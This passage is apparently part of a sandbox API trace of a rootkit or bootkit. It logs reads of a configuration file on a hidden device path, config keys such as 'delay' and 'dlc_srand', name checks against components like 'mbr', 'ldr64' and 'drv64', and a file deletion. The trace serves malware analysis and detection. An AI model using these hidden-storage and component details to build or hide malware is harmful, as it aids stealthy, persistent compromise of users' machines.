dwMilliseconds=0xffffffff) returned 0x0 [0122.012] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.012] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.012] KeEnterCriticalRegion () [0122.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.012] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.012] IdePortDispatch () returned 0x103 [0122.012] KeWaitForMutexObject () returned 0x0 [0122.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd6a0 [0122.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.012] KeLeaveCriticalRegion () [0122.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.012] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.012] KeEnterCriticalRegion () [0122.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.012] KeLeaveCriticalRegion () [0122.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.012] KeEnterCriticalRegion () [0122.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.012] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.013] IdePortDispatch () returned 0x103 [0122.013] KeWaitForMutexObject () returned 0x0 [0122.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.013] KeLeaveCriticalRegion () [0122.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.013] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.013] KeEnterCriticalRegion () [0122.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.013] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0f000 [0122.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.013] IdePortDispatch () returned 0x103 [0122.013] KeWaitForMutexObject () returned 0x0 [0122.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.013] IdePortDispatch () returned 0x103 [0122.013] KeWaitForMutexObject () returned 0x0 [0122.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] KeLeaveCriticalRegion () [0122.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.014] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.014] KeEnterCriticalRegion () [0122.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] KeLeaveCriticalRegion () [0122.014] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.014] KeEnterCriticalRegion () [0122.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.014] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] KeLeaveCriticalRegion () [0122.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.014] KeEnterCriticalRegion () [0122.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] ExFreePoolWithTag (P=0xfffffa8003bbd6a0, Tag=0x0) [0122.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.014] KeLeaveCriticalRegion () [0122.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.014] ReleaseMutex (hMutex=0xf0) returned 1 [0122.014] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.015] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.015] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.015] KeEnterCriticalRegion () [0122.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.015] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.015] IdePortDispatch () returned 0x103 [0122.015] KeWaitForMutexObject () returned 0x0 [0122.015] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.015] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.015] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.015] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.015] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.015] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.015] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.015] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.015] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.015] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.015] KeLeaveCriticalRegion () [0122.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.015] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.015] KeEnterCriticalRegion () [0122.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.016] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.016] IdePortDispatch () returned 0x103 [0122.016] KeWaitForMutexObject () returned 0x0 [0122.016] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.016] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.016] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.016] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.016] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.016] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.016] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.016] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.016] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.016] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.016] KeLeaveCriticalRegion () [0122.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.016] ReleaseMutex (hMutex=0x100) returned 1 [0122.017] Sleep (dwMilliseconds=0x2bf20) [0122.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bed5b10, dwHighDateTime=0x1d24fa4)) [0122.023] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.023] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.023] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.023] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.023] KeEnterCriticalRegion () [0122.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.024] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.024] IdePortDispatch () returned 0x103 [0122.024] KeWaitForMutexObject () returned 0x0 [0122.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.024] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.024] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.024] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.024] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.024] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd6a0 [0122.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.024] KeLeaveCriticalRegion () [0122.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.024] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.024] KeEnterCriticalRegion () [0122.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.024] KeLeaveCriticalRegion () [0122.024] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.024] KeEnterCriticalRegion () [0122.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.024] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.024] IdePortDispatch () returned 0x103 [0122.025] KeWaitForMutexObject () returned 0x0 [0122.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.025] KeLeaveCriticalRegion () [0122.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.025] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.025] KeEnterCriticalRegion () [0122.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c12000 [0122.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.025] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.025] IdePortDispatch () returned 0x103 [0122.025] KeWaitForMutexObject () returned 0x0 [0122.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.025] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.025] IdePortDispatch () returned 0x103 [0122.025] KeWaitForMutexObject () returned 0x0 [0122.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] KeLeaveCriticalRegion () [0122.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.026] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.026] KeEnterCriticalRegion () [0122.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] KeLeaveCriticalRegion () [0122.026] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.026] KeEnterCriticalRegion () [0122.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.026] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] KeLeaveCriticalRegion () [0122.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.026] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.026] KeEnterCriticalRegion () [0122.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] ExFreePoolWithTag (P=0xfffffa8003bbd6a0, Tag=0x0) [0122.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.026] KeLeaveCriticalRegion () [0122.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.026] ReleaseMutex (hMutex=0xf0) returned 1 [0122.026] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.027] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.027] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.027] KeEnterCriticalRegion () [0122.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.027] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.027] IdePortDispatch () returned 0x103 [0122.027] KeWaitForMutexObject () returned 0x0 [0122.027] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.027] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.027] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.027] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.027] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.027] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9550 [0122.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.027] KeLeaveCriticalRegion () [0122.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.027] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.027] KeEnterCriticalRegion () [0122.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.027] KeLeaveCriticalRegion () [0122.027] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.027] KeEnterCriticalRegion () [0122.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.027] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.027] IdePortDispatch () returned 0x103 [0122.027] KeWaitForMutexObject () returned 0x0 [0122.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.028] KeLeaveCriticalRegion () [0122.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.028] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.028] KeEnterCriticalRegion () [0122.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c13000 [0122.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, 